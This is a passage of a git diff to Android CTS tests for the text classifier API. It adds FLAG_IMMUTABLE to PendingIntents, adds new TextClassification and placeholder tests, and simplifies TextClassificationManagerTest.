-        assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isFalse();
-        assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList()))
-                .containsExactly(ConversationAction.TYPE_OPEN_URL);
-        assertThat(resolvedTypes).containsExactly(ConversationAction.TYPE_OPEN_URL);
-    }
-
-    private void assertMinimalTypeConfig(TextClassifier.EntityConfig typeConfig) {
-        assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isTrue();
-        assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList())).isEmpty();
-        assertThat(typeConfig.resolveEntityListModifications(
-                Collections.singletonList(ConversationAction.TYPE_OPEN_URL))).containsExactly(
-                ConversationAction.TYPE_OPEN_URL);
-    }
-
-    private void assertMinimalRequest(ConversationActions.Request request) {
+    private static void assertMinimalRequest(ConversationActions.Request request) {
         assertThat(request.getConversation()).hasSize(1);
         assertThat(request.getConversation().get(0).getText().toString()).isEqualTo(TEXT);
         assertThat(request.getConversation().get(0).getAuthor()).isEqualTo(PERSON);
@@ -318,7 +182,7 @@
         assertThat(request.getExtras().size()).isEqualTo(0);
     }
 
-    private void assertFullRequest(ConversationActions.Request request) {
+    private static void assertFullRequest(ConversationActions.Request request) {
         assertThat(request.getConversation()).hasSize(1);
         assertThat(request.getConversation().get(0).getText().toString()).isEqualTo(TEXT);
         assertThat(request.getConversation().get(0).getAuthor()).isEqualTo(PERSON);
@@ -328,37 +192,21 @@
         assertThat(request.getExtras().keySet()).containsExactly(TEXT);
     }
 
-    private void assertMinimalConversationAction(
-            ConversationAction conversationAction) {
-        assertThat(conversationAction.getAction()).isNull();
-        assertThat(conversationAction.getConfidenceScore()).isWithin(FLOAT_TOLERANCE).of(0.0f);
-        assertThat(conversationAction.getType()).isEqualTo(ConversationAction.TYPE_CALL_PHONE);
-    }
-
-    private void assertFullConversationAction(
-            ConversationAction conversationAction) {
-        assertThat(conversationAction.getAction().getTitle()).isEqualTo(TEXT);
-        assertThat(conversationAction.getConfidenceScore()).isWithin(FLOAT_TOLERANCE).of(1.0f);
-        assertThat(conversationAction.getType()).isEqualTo(ConversationAction.TYPE_CALL_PHONE);
-        assertThat(conversationAction.getTextReply()).isEqualTo(TEXT);
-        assertThat(conversationAction.getExtras().keySet()).containsExactly(TEXT);
-    }
-
-    private void assertMinimalConversationActions(ConversationActions conversationActions) {
+    private static void assertMinimalConversationActions(ConversationActions conversationActions) {
         assertThat(conversationActions.getConversationActions()).hasSize(1);
         assertThat(conversationActions.getConversationActions().get(0).getType())
                 .isEqualTo(ConversationAction.TYPE_CALL_PHONE);
         assertThat(conversationActions.getId()).isNull();
     }
 
-    private void assertFullConversationActions(ConversationActions conversationActions) {
+    private static void assertFullConversationActions(ConversationActions conversationActions) {
         assertThat(conversationActions.getConversationActions()).hasSize(1);
         assertThat(conversationActions.getConversationActions().get(0).getType())
                 .isEqualTo(ConversationAction.TYPE_CALL_PHONE);
         assertThat(conversationActions.getId()).isEqualTo(ID);
     }
 
-    private <T extends Parcelable> T parcelizeDeparcelize(
+    private static <T extends Parcelable> T parcelizeDeparcelize(
             T parcelable, Parcelable.Creator<T> creator) {
         Parcel parcel = Parcel.obtain();
         parcelable.writeToParcel(parcel, 0);
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
index 909f7de..b88b7d7 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/CtsTextClassifierService.java
@@ -34,6 +34,7 @@
 import android.view.textclassifier.TextLinks;
 import android.view.textclassifier.TextSelection;
 
+import androidx.core.os.BuildCompat;
 import androidx.annotation.NonNull;
 
 import java.util.ArrayList;
@@ -94,7 +95,12 @@
             TextSelection.Request request, CancellationSignal cancellationSignal,
             Callback<TextSelection> callback) {
         handleRequest(sessionId, "onSuggestSelection");
-        callback.onSuccess(TextClassifier.NO_OP.suggestSelection(request));
+        TextSelection.Builder textSelection =
+                new TextSelection.Builder(request.getStartIndex(), request.getEndIndex());
+        if (BuildCompat.isAtLeastS() && request.shouldIncludeTextClassification()) {
+            textSelection.setTextClassification(createTextClassification());
+        }
+        callback.onSuccess(textSelection.build());
     }
 
     @Override
@@ -102,14 +108,21 @@
             TextClassification.Request request, CancellationSignal cancellationSignal,
             Callback<TextClassification> callback) {
         handleRequest(sessionId, "onClassifyText");
-        final TextClassification classification = new TextClassification.Builder()
+        callback.onSuccess(createTextClassification());
+    }
+
+    private TextClassification createTextClassification() {
+        return new TextClassification.Builder()
                 .addAction(new RemoteAction(
                         ICON_RES,
                         "Test Action",
                         "Test Action",
-                        PendingIntent.getActivity(this, 0, new Intent(), 0)))
+                        PendingIntent.getActivity(
+                                this,
+                                0,
+                                new Intent(),
+                                PendingIntent.FLAG_IMMUTABLE)))
                 .build();
-        callback.onSuccess(classification);
     }
 
     @Override
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java
new file mode 100644
index 0000000..72550c4
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/SelectionEventTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SelectionEventTest {
+
+    @Test
+    public void testSelectionEvent_placeholder() {
+        // TODO: add tests for SelectionEvent
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationContextTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationContextTest.java
new file mode 100644
index 0000000..d03f03c
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationContextTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextClassificationContextTest {
+
+    @Test
+    public void testTextClassificationContext_placeholder() {
+        // TODO: add tests for TextClassificationContext
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index bcc3870..c76de62 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -16,141 +16,31 @@
 
 package android.view.textclassifier.cts;
 
-import static com.google.common.truth.Truth.assertThat;
-
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
 import static org.mockito.Mockito.mock;
 
-import android.icu.util.ULocale;
-import android.os.Bundle;
-import android.os.LocaleList;
-import android.service.textclassifier.TextClassifierService;
-import android.view.textclassifier.ConversationAction;
-import android.view.textclassifier.ConversationActions;
-import android.view.textclassifier.SelectionEvent;
-import android.view.textclassifier.TextClassification;
-import android.view.textclassifier.TextClassificationContext;
 import android.view.textclassifier.TextClassificationManager;
 import android.view.textclassifier.TextClassifier;
-import android.view.textclassifier.TextClassifierEvent;
-import android.view.textclassifier.TextLanguage;
-import android.view.textclassifier.TextLinks;
-import android.view.textclassifier.TextSelection;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
-import com.google.common.collect.Range;
-
-import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
 
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.List;
 
 @SmallTest
-@RunWith(Parameterized.class)
+@RunWith(AndroidJUnit4.class)
 public class TextClassificationManagerTest {
-
-    private static final String CURRENT = "current";
-    private static final String SESSION = "session";
-    private static final String DEFAULT = "default";
-    private static final String NO_OP = "no_op";
-
-    @Parameterized.Parameters(name = "{0}")
-    public static Iterable<Object> textClassifierTypes() {
-        return Arrays.asList(CURRENT, SESSION, DEFAULT, NO_OP);
-    }
-
-    @Parameterized.Parameter
-    public String mTextClassifierType;
-
-    private static final String BUNDLE_KEY = "key";
-    private static final String BUNDLE_VALUE = "value";
-    private static final Bundle BUNDLE = new Bundle();
-    static {
-        BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
-    }
-    private static final LocaleList LOCALES = LocaleList.forLanguageTags("en");
-    private static final int START = 1;
-    private static final int END = 3;
-    // This text has lots of things that are probably entities in many cases.
-    private static final String TEXT = "An email address is test@example.com. A phone number"
-            + " might be +12122537077. Somebody lives at 123 Main Street, Mountain View, CA,"
-            + " and there's good stuff at https://www.android.com :)";
-    private static final TextSelection.Request TEXT_SELECTION_REQUEST =
-            new TextSelection.Request.Builder(TEXT, START, END)
-                    .setDefaultLocales(LOCALES)
-                    .build();
-    private static final TextClassification.Request TEXT_CLASSIFICATION_REQUEST =
-            new TextClassification.Request.Builder(TEXT, START, END)
-                    .setDefaultLocales(LOCALES)
-                    .build();
-    private static final TextLanguage.Request TEXT_LANGUAGE_REQUEST =
-            new TextLanguage.Request.Builder(TEXT)
-                    .setExtras(BUNDLE)
-                    .build();
-    private static final ConversationActions.Message FIRST_MESSAGE =
-            new ConversationActions.Message.Builder(ConversationActions.Message.PERSON_USER_SELF)
-                    .setText(TEXT)
-                    .build();
-    private static final ConversationActions.Message SECOND_MESSAGE =
-            new ConversationActions.Message.Builder(ConversationActions.Message.PERSON_USER_OTHERS)
-                    .setText(TEXT)
-                    .build();
-    private static final ConversationActions.Request CONVERSATION_ACTIONS_REQUEST =
-            new ConversationActions.Request.Builder(
-                    Arrays.asList(FIRST_MESSAGE, SECOND_MESSAGE)).build();
-
     private TextClassificationManager mManager;
-    private TextClassifier mClassifier;
 
     @Before
     public void setup() {
         mManager = InstrumentationRegistry.getTargetContext()
                 .getSystemService(TextClassificationManager.class);
         mManager.setTextClassifier(null); // Resets the classifier.
-        if (mTextClassifierType.equals(CURRENT)) {
-            mClassifier = mManager.getTextClassifier();
-        } else if (mTextClassifierType.equals(SESSION)) {
-            mClassifier = mManager.createTextClassificationSession(
-                    new TextClassificationContext.Builder(
-                            InstrumentationRegistry.getTargetContext().getPackageName(),
-                            TextClassifier.WIDGET_TYPE_TEXTVIEW)
-                            .build());
-        } else if (mTextClassifierType.equals(NO_OP)) {
-            mClassifier = TextClassifier.NO_OP;
-        } else {
-            mClassifier = TextClassifierService.getDefaultTextClassifierImplementation(
-                    InstrumentationRegistry.getTargetContext());
-        }
-    }
-
-    @After
-    public void tearDown() {
-        mClassifier.destroy();
-    }
-
-    @Test
-    public void testTextClassifierDestroy() {
-        mClassifier.destroy();
-        if (mTextClassifierType.equals(SESSION)) {
-            assertEquals(true, mClassifier.isDestroyed());
-        }
-    }
-
-    @Test
-    public void testGetMaxGenerateLinksTextLength() {
-        // TODO(b/143249163): Verify the value get from TextClassificationConstants
-        assertTrue(mClassifier.getMaxGenerateLinksTextLength() >= 0);
     }
 
     @Test
@@ -159,162 +49,4 @@
         mManager.setTextClassifier(classifier);
         assertEquals(classifier, mManager.getTextClassifier());
     }
-
-    @Test
-    public void testSmartSelection() {
-        assertValidResult(mClassifier.suggestSelection(TEXT_SELECTION_REQUEST));
-    }
-
-    @Test
-    public void testSuggestSelectionWith4Param() {
-        assertValidResult(mClassifier.suggestSelection(TEXT, START, END, LOCALES));
-    }
-
-    @Test
-    public void testClassifyText() {
-        assertValidResult(mClassifier.classifyText(TEXT_CLASSIFICATION_REQUEST));
-    }
-
-    @Test
-    public void testClassifyTextWith4Param() {
-        assertValidResult(mClassifier.classifyText(TEXT, START, END, LOCALES));
-    }
-
-    @Test
-    public void testGenerateLinks() {
-        assertValidResult(mClassifier.generateLinks(new TextLinks.Request.Builder(TEXT).build()));
-    }
-
-    @Test
-    public void testSuggestConversationActions() {
-        ConversationActions conversationActions =
-                mClassifier.suggestConversationActions(CONVERSATION_ACTIONS_REQUEST);
-
-        assertValidResult(conversationActions);
-    }
-
-    @Test
-    public void testResolveEntityListModifications_only_hints() {
-        TextClassifier.EntityConfig entityConfig = TextClassifier.EntityConfig.createWithHints(
-                Arrays.asList("some_hint"));
-        assertEquals(1, entityConfig.getHints().size());
-        assertTrue(entityConfig.getHints().contains("some_hint"));
-        assertEquals(new HashSet<String>(Arrays.asList("foo", "bar")),
-                entityConfig.resolveEntityListModifications(Arrays.asList("foo", "bar")));
-    }
-
-    @Test
-    public void testResolveEntityListModifications_include_exclude() {
-        TextClassifier.EntityConfig entityConfig = TextClassifier.EntityConfig.create(
-                Arrays.asList("some_hint"),
-                Arrays.asList("a", "b", "c"),
-                Arrays.asList("b", "d", "x"));
-        assertEquals(1, entityConfig.getHints().size());
-        assertTrue(entityConfig.getHints().contains("some_hint"));
-        assertEquals(new HashSet(Arrays.asList("a", "c", "w")),
-                new HashSet(entityConfig.resolveEntityListModifications(
-                        Arrays.asList("c", "w", "x"))));
-    }
-
-    @Test
-    public void testResolveEntityListModifications_explicit() {
-        TextClassifier.EntityConfig entityConfig =
-                TextClassifier.EntityConfig.createWithExplicitEntityList(Arrays.asList("a", "b"));
-        assertEquals(Collections.EMPTY_LIST, entityConfig.getHints());
-        assertEquals(new HashSet<String>(Arrays.asList("a", "b")),
-                entityConfig.resolveEntityListModifications(Arrays.asList("w", "x")));
-    }
-
-    @Test
-    public void testOnSelectionEvent() {
-        // Doesn't crash.
-        mClassifier.onSelectionEvent(
-                SelectionEvent.createSelectionStartedEvent(SelectionEvent.INVOCATION_MANUAL, 0));
-    }
-
-    @Test
-    public void testOnTextClassifierEvent() {
-        // Doesn't crash.
-        mClassifier.onTextClassifierEvent(
-                new TextClassifierEvent.ConversationActionsEvent.Builder(
-                        TextClassifierEvent.TYPE_SMART_ACTION)
-                        .build());
-    }
-
-    @Test
-    public void testLanguageDetection() {
-        assertValidResult(mClassifier.detectLanguage(TEXT_LANGUAGE_REQUEST));
-    }
-
-    @Test(expected = RuntimeException.class)
-    public void testLanguageDetection_nullRequest() {
-        assertValidResult(mClassifier.detectLanguage(null));
-    }
-
-    private static void assertValidResult(TextSelection selection) {
-        assertNotNull(selection);
-        assertTrue(selection.getSelectionStartIndex() >= 0);
-        assertTrue(selection.getSelectionEndIndex() > selection.getSelectionStartIndex());
-        assertTrue(selection.getEntityCount() >= 0);
-        for (int i = 0; i < selection.getEntityCount(); i++) {
-            final String entity = selection.getEntity(i);
-            assertNotNull(entity);
-            final float confidenceScore = selection.getConfidenceScore(entity);
-            assertTrue(confidenceScore >= 0);
-            assertTrue(confidenceScore <= 1);
-        }
-    }
-
-    private static void assertValidResult(TextClassification classification) {
-        assertNotNull(classification);
-        assertTrue(classification.getEntityCount() >= 0);
-        for (int i = 0; i < classification.getEntityCount(); i++) {
-            final String entity = classification.getEntity(i);
-            assertNotNull(entity);
-            final float confidenceScore = classification.getConfidenceScore(entity);
-            assertTrue(confidenceScore >= 0);
-            assertTrue(confidenceScore <= 1);
-        }
-        assertNotNull(classification.getActions());
-    }
-
-    private static void assertValidResult(TextLinks links) {
-        assertNotNull(links);
-        for (TextLinks.TextLink link : links.getLinks()) {
-            assertTrue(link.getEntityCount() > 0);
-            assertTrue(link.getStart() >= 0);
-            assertTrue(link.getStart() <= link.getEnd());
-            for (int i = 0; i < link.getEntityCount(); i++) {
-                String entityType = link.getEntity(i);
-                assertNotNull(entityType);
-                final float confidenceScore = link.getConfidenceScore(entityType);
-                assertTrue(confidenceScore >= 0);
-                assertTrue(confidenceScore <= 1);
-            }
-        }
-    }
-
-    private static void assertValidResult(TextLanguage language) {
-        assertNotNull(language);
-        assertNotNull(language.getExtras());
-        assertTrue(language.getLocaleHypothesisCount() >= 0);
-        for (int i = 0; i < language.getLocaleHypothesisCount(); i++) {
-            final ULocale locale = language.getLocale(i);
-            assertNotNull(locale);
-            final float confidenceScore = language.getConfidenceScore(locale);
-            assertTrue(confidenceScore >= 0);
-            assertTrue(confidenceScore <= 1);
-        }
-    }
-
-    private static void assertValidResult(ConversationActions conversationActions) {
-        assertNotNull(conversationActions);
-        List<ConversationAction> conversationActionsList =
-                conversationActions.getConversationActions();
-        assertNotNull(conversationActionsList);
-        for (ConversationAction conversationAction : conversationActionsList) {
-            assertThat(conversationAction.getType()).isNotNull();
-            assertThat(conversationAction.getConfidenceScore()).isIn(Range.closed(0f, 1.0f));
-        }
-    }
 }
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationTest.java
new file mode 100644
index 0000000..5f18026
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassificationTest.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.PendingIntent;
+import android.app.RemoteAction;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.Icon;
+import android.os.Bundle;
+import android.os.LocaleList;
+import android.view.View;
+import android.view.textclassifier.TextClassification;
+import android.view.textclassifier.TextClassifier;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextClassificationTest {
+    private static final String BUNDLE_KEY = "key";
+    private static final String BUNDLE_VALUE = "value";
+    private static final Bundle BUNDLE = new Bundle();
+    static {
+        BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
+    }
+
+    private static final double ACCEPTED_DELTA = 0.0000001;
+    private static final String TEXT = "abcdefghijklmnopqrstuvwxyz";
+    private static final int START = 5;
+    private static final int END = 20;
+    private static final String ID = "id123";
+    private static final LocaleList LOCALES = LocaleList.forLanguageTags("fr,en,de,es");
+
+    @Test
+    public void testTextClassification() {
+        final float addressScore = 0.1f;
+        final float emailScore = 0.9f;
+        final PendingIntent intent1 = PendingIntent.getActivity(
+                InstrumentationRegistry.getTargetContext(),
+                0,
+                new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
+        final String label1 = "label1";
+        final String description1 = "description1";
+        final Icon icon1 = generateTestIcon(16, 16, Color.RED);
+        final PendingIntent intent2 = PendingIntent.getActivity(
+                InstrumentationRegistry.getTargetContext(),
+                0,
+                new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
+        final String label2 = "label2";
+        final String description2 = "description2";
+        final Icon icon2 = generateTestIcon(16, 16, Color.GREEN);
+
+        final TextClassification classification = new TextClassification.Builder()
+                .setText(TEXT)
+                .setEntityType(TextClassifier.TYPE_ADDRESS, addressScore)
+                .setEntityType(TextClassifier.TYPE_EMAIL, emailScore)
+                .addAction(new RemoteAction(icon1, label1, description1, intent1))
+                .addAction(new RemoteAction(icon2, label2, description2, intent2))
+                .setId(ID)
+                .setExtras(BUNDLE)
+                .build();
+
+        assertEquals(TEXT, classification.getText());
+        assertEquals(2, classification.getEntityCount());
+        assertEquals(TextClassifier.TYPE_EMAIL, classification.getEntity(0));
+        assertEquals(TextClassifier.TYPE_ADDRESS, classification.getEntity(1));
+        assertEquals(addressScore, classification.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
+                ACCEPTED_DELTA);
+        assertEquals(emailScore, classification.getConfidenceScore(TextClassifier.TYPE_EMAIL),
+                ACCEPTED_DELTA);
+        assertEquals(0, classification.getConfidenceScore("random_type"), ACCEPTED_DELTA);
+
+        // Legacy API
+        assertNull(classification.getIntent());
+        assertNull(classification.getLabel());
+        assertNull(classification.getIcon());
+        assertNull(classification.getOnClickListener());
+
+        assertEquals(2, classification.getActions().size());
+        assertEquals(label1, classification.getActions().get(0).getTitle());
+        assertEquals(description1, classification.getActions().get(0).getContentDescription());
+        assertEquals(intent1, classification.getActions().get(0).getActionIntent());
+        assertNotNull(classification.getActions().get(0).getIcon());
+        assertEquals(label2, classification.getActions().get(1).getTitle());
+        assertEquals(description2, classification.getActions().get(1).getContentDescription());
+        assertEquals(intent2, classification.getActions().get(1).getActionIntent());
+        assertNotNull(classification.getActions().get(1).getIcon());
+        assertEquals(ID, classification.getId());
+        assertEquals(BUNDLE_VALUE, classification.getExtras().getString(BUNDLE_KEY));
+    }
+
+    @Test
+    public void testTextClassificationLegacy() {
+        final float addressScore = 0.1f;
+        final float emailScore = 0.9f;
+        final Intent intent = new Intent();
+        final String label = "label";
+        final Drawable icon = new ColorDrawable(Color.RED);
+        final View.OnClickListener onClick = v -> {
+        };
+
+        final TextClassification classification = new TextClassification.Builder()
+                .setText(TEXT)
+                .setEntityType(TextClassifier.TYPE_ADDRESS, addressScore)
+                .setEntityType(TextClassifier.TYPE_EMAIL, emailScore)
+                .setIntent(intent)
+                .setLabel(label)
+                .setIcon(icon)
+                .setOnClickListener(onClick)
+                .setId(ID)
+                .build();
+
+        assertEquals(TEXT, classification.getText());
+        assertEquals(2, classification.getEntityCount());
+        assertEquals(TextClassifier.TYPE_EMAIL, classification.getEntity(0));
+        assertEquals(TextClassifier.TYPE_ADDRESS, classification.getEntity(1));
+        assertEquals(addressScore, classification.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
+                ACCEPTED_DELTA);
+        assertEquals(emailScore, classification.getConfidenceScore(TextClassifier.TYPE_EMAIL),
+                ACCEPTED_DELTA);
+        assertEquals(0, classification.getConfidenceScore("random_type"), ACCEPTED_DELTA);
+
+        assertEquals(intent, classification.getIntent());
+        assertEquals(label, classification.getLabel());
+        assertEquals(icon, classification.getIcon());
+        assertEquals(onClick, classification.getOnClickListener());
+        assertEquals(ID, classification.getId());
+    }
+
+    @Test
+    public void testTextClassification_defaultValues() {
+        final TextClassification classification = new TextClassification.Builder().build();
+
+        assertEquals(null, classification.getText());
+        assertEquals(0, classification.getEntityCount());
+        assertEquals(null, classification.getIntent());
+        assertEquals(null, classification.getLabel());
+        assertEquals(null, classification.getIcon());
+        assertEquals(null, classification.getOnClickListener());
+        assertEquals(0, classification.getActions().size());
+        assertNull(classification.getId());
+        assertTrue(classification.getExtras().isEmpty());
+    }
+
+    @Test
+    public void testTextClassificationRequest() {
+        final TextClassification.Request request =
+                new TextClassification.Request.Builder(TEXT, START, END)
+                        .setDefaultLocales(LOCALES)
+                        .setExtras(BUNDLE)
+                        .build();
+
+        assertEquals(LOCALES, request.getDefaultLocales());
+        assertEquals(BUNDLE_VALUE, request.getExtras().getString(BUNDLE_KEY));
+    }
+
+    @Test
+    public void testTextClassificationRequest_nullValues() {
+        final TextClassification.Request request =
+                new TextClassification.Request.Builder(TEXT, START, END)
+                        .setDefaultLocales(null)
+                        .build();
+
+        assertNull(request.getDefaultLocales());
+        assertTrue(request.getExtras().isEmpty());
+    }
+
+    @Test
+    public void testTextClassificationRequest_defaultValues() {
+        final TextClassification.Request request =
+                new TextClassification.Request.Builder(TEXT, START, END).build();
+        assertNull(request.getDefaultLocales());
+        assertTrue(request.getExtras().isEmpty());
+    }
+
+    /** Helper to generate Icons for testing. */
+    private static Icon generateTestIcon(int width, int height, int colorValue) {
+        final int numPixels = width * height;
+        final int[] colors = new int[numPixels];
+        for (int i = 0; i < numPixels; ++i) {
+            colors[i] = colorValue;
+        }
+        final Bitmap bitmap = Bitmap.createBitmap(colors, width, height, Bitmap.Config.ARGB_8888);
+        return Icon.createWithBitmap(bitmap);
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
index e04c879..a95460b 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
@@ -19,6 +19,8 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.app.Instrumentation;
 import android.app.PendingIntent;
 import android.content.ComponentName;
@@ -32,7 +34,9 @@
 import android.view.textclassifier.TextClassificationSessionId;
 import android.view.textclassifier.TextClassifier;
 import android.view.textclassifier.TextLanguage;
+import android.view.textclassifier.TextSelection;
 
+import androidx.core.os.BuildCompat;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.runner.AndroidJUnit4;
@@ -120,7 +124,7 @@
     }
 
     @Test
-    public void testResourceIconsRewrittenToContentUriIcons() throws Exception {
+    public void testResourceIconsRewrittenToContentUriIcons_classifyText() throws Exception {
         final TextClassifier tc = ApplicationProvider.getApplicationContext()
                 .getSystemService(TextClassificationManager.class)
                 .getTextClassifier();
@@ -133,6 +137,24 @@
         assertThat(icon.getUri()).isEqualTo(CtsTextClassifierService.ICON_URI.getUri());
     }
 
+    @Test
+    public void testResourceIconsRewrittenToContentUriIcons_suggestSelection() throws Exception {
+        assumeTrue(BuildCompat.isAtLeastS());
+
+        final TextClassifier tc = ApplicationProvider.getApplicationContext()
+                .getSystemService(TextClassificationManager.class)
+                .getTextClassifier();
+        final TextSelection.Request request =
+                new TextSelection.Request.Builder("0800 123 4567", 0, 12)
+                        .setIncludeTextClassification(true)
+                        .build();
+
+        final TextSelection textSelection = tc.suggestSelection(request);
+        final Icon icon = textSelection.getTextClassification().getActions().get(0).getIcon();
+        assertThat(icon.getType()).isEqualTo(Icon.TYPE_URI);
+        assertThat(icon.getUri()).isEqualTo(CtsTextClassifierService.ICON_URI.getUri());
+    }
+
     /**
      * Start an Activity from another package that queries the device's TextClassifierService when
      * started and immediately terminates itself. When the Activity finishes, it sends broadcast, we
@@ -154,8 +176,12 @@
                 "android.textclassifier.cts2.QueryTextClassifierServiceActivity"));
         outsideActivity.setFlags(FLAG_ACTIVITY_NEW_TASK);
         final Intent broadcastIntent = new Intent(actionQueryActivityFinish);
-        final PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, broadcastIntent,
-                0);
+        final PendingIntent pendingIntent =
+                PendingIntent.getBroadcast(
+                    context,
+                    0,
+                    broadcastIntent,
+                    PendingIntent.FLAG_IMMUTABLE);
         outsideActivity.putExtra("finishBroadcast", pendingIntent);
         context.startActivity(outsideActivity);
 
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTest.java
new file mode 100644
index 0000000..266a9f5
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTest.java
@@ -0,0 +1,409 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.icu.util.ULocale;
+import android.os.Bundle;
+import android.os.LocaleList;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.service.textclassifier.TextClassifierService;
+import android.view.textclassifier.ConversationAction;
+import android.view.textclassifier.ConversationActions;
+import android.view.textclassifier.SelectionEvent;
+import android.view.textclassifier.TextClassification;
